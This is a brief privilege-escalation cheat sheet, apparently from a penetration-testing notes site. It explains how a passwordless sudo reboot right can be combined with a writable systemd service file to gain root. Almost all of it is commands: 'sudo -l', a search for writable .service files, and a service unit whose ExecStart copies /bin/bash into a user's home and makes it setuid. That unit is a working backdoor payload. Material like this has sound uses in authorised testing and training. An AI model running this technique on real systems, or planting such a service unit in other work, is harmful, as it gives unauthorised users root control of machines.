Sudo Reboot Privilege Escalation
Sudo reboot commands might be vulnerable to privilege escalation (PrivEsc).
sudo -l
(ALL) NOPASSWD: /usr/sbin/reboot
Copied!find / -writable -name "*.service" 2>/dev/null
/etc/systemd/system/example.service
Copied!# /etc/systemd/systm/example.service
[Unit]
Description=Zeno monitoring
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'cp /bin/bash /home/<username>/bash; chmod +xs /home/<username>/bash'
[Install]
WantedBy=multi-user.target
Copied!Last updated
